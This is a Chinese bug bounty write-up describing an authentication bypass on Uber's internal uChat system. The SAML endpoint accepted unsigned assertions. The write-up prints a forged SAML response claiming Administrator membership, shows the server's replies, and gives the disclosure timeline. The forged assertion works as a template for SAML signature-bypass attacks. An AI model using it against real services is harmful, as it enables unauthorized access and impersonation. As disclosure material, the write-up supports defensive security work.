挖洞经验 | 看我如何利用SAML漏洞实现Uber内部聊天系统未授权登录

时间:2022-04-29
本文章向大家介绍挖洞经验 | 看我如何利用SAML漏洞实现Uber内部聊天系统未授权登录,主要内容包括漏洞发现、漏洞利用、漏洞上报、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。

本文讲述了利用SAML(安全声明标记语言)服务漏洞,绕过优步(Uber)公司内部聊天系统身份认证机制,实现了对该内部聊天系统的未授权登录访问,该漏洞最终获得Uber官方8500美元奖励。

漏洞发现

通过Uber的漏洞赏金项目范围,我利用域名探索网站https://crt.sh,发现了其内部聊天系统https://uchat.uberinternal.com/login,该系统要求使用Uber内部员工的SSO凭据进行登录。

综合先前对Uber网络系统的研究,我猜测该系统的身份认证机制应该是基于SAML(安全声明标记语言)进行身份跨域传递和登录的,另外,我还发现了该系统使用SAML的服务端:

https://uchat.uberinternal.com/login/sso/saml SAML:安全声明标记语言(Security Assertion Markup Language),它是一个基于XML的标准,用于在不同安全域(security domain)之间交换认证和授权数据。SAML标准定义了身份提供者(identity provider)和服务提供者(service provider),这两者构成了不同的安全域。为了保证身份安全,我们除了可以采用加密签名等措施,还可采用SAML规范来传输,传输的数据以XML形式为主,内容符合SAML的推荐标准。

为了发现该系统SAML框架的服务漏洞,我决定构造一个简单的SAML声明,通过POST请求方式把它发送到其服务端去。有关SAML单点登录(SSO)的基本机制,可点此了解查看。

为了验证该聊天系统SAML服务是否部署了签名校验功能,我打算在POST请求中加入一个不带签名的简单XML标记,形成SAML请求一并发送至SAML服务端。该XML标记内容为:

<samlp:Response xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="R0bdb6f33ef84425aa2782eab4483792762f297df" Version="2.0" IssueInstant="2016-05-04T01:37:34Z" Destination="" InResponseTo="ONELOGIN_bd24d63eafe235201b1bc636823c84381dbe575c">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Version="2.0" ID="pfxb75932c2-2e44-d18d-224b-354849a292af" IssueInstant="2016-05-04T01:37:34Z">
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
michael@test
</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2016-05-04T01:40:34Z" Recipient="" InResponseTo="ONELOGIN_bd24d63eafe235201b1bc636823c84381dbe575c"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2016-05-04T01:34:34Z" NotOnOrAfter="2016-05-04T01:40:34Z">
<saml:AudienceRestriction>
<saml:Audience>
php-saml
</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2016-05-04T01:37:33Z" SessionNotOnOrAfter="2016-05-05T01:37:34Z" SessionIndex="_b340ffa0-f3c6-0133-3483-02a5406d9a2f">
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
</saml:Attribute> <saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="Email">
<saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
noreply@uber.com
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="memberOf">
<saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
Administrator
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>

当把以上这个SAML请求发送至聊天系统的SAML服务端后,该聊天系统远端服务器竟然给出了一个有效响应,它完全没对SAML请求的签名进行校验,其有效响应如下:

HTTP/1.1 302 Found
Date: Sat, 22 Apr 2017 08:33:35 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 0
Connection: keep-alive
Server: nginx/1.11.5
Set-Cookie: srv_id=; expires=Sun, 23-Apr-17 08:33:35 GMT; domain=uberinternal.com; path=/
Content-Security-Policy: frame-ancestors ‘self’
Location: /error?title=uchat+%28staging%29+needs+your+help%3A&message=SAML+login+was+unsuccessful+because+one+of+the+attributes+is+incorrect.
+Please+contact+your+System+Administrator.&details=Username+attribute+is+missing&link=%2F&linkmessage=Go+back+to+uChat
X-Cluster-Id: X-Frame-Options:
SAMEORIGIN X-Request-Id: uhg97nm9k3g19reb34gm8t6wjr
X-Version-Id: 3.7.0.90.8fa8ba5e2ac11ee1f038953dfce9edd0.true
HTTP/1.1 302 Found
Date: Sat, 22 Apr 2017 08:33:35 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 0
Connection: keep-alive
Server: nginx/1.11.5
Set-Cookie: srv_id=; expires=Sun, 23-Apr-17 08:33:35 GMT; domain=uberinternal.com; path=/
Content-Security-Policy: frame-ancestors ‘self’
Location: /error?title=uchat+%28staging%29+needs+your+help%3A&message=SAML+login+was+unsuccessful+because+one+of+the+attributes+is+incorrect.
+Please+contact+your+System+Administrator.&details=Username+attribute+is+missing&link=%2F&linkmessage=Go+back+to+uChat
X-Cluster-Id: X-Frame-Options:
SAMEORIGIN X-Request-Id: uhg97nm9k3g19reb34gm8t6wjr
X-Version-Id: 3.7.0.90.8fa8ba5e2ac11ee1f038953dfce9edd0.true

漏洞利用

后来,我尝试在发送的SAML请求中加入用户名,经过测试,竟然不需任何Uber内部员工账户凭据,就可以成功登录进入该聊天系统。如此,这种方式能绕过聊天系统身份认证机制,以Uber有效员工身份,混入任何聊天频道,发起会话,或是在其中发布垃圾信息,或伪装身份发言等等。

漏洞上报

之后,我迅速将该漏洞问题上报给了Uber安全团队,他们最终在身份认证机制中加入了SAML签名认证。

2017年4月22日 – 通过Hackerone进行漏洞初报 2017年4月25日 – Uber反馈需要更多验证性证据 2017年4月25日 – 向Uber发送了一段漏洞利用视频 2017年4月29日 – 漏洞分类并获得前期500$奖励 2017年5月1日 – 漏洞修复 2017年5月1日 –再次获得Uber方面8000$奖励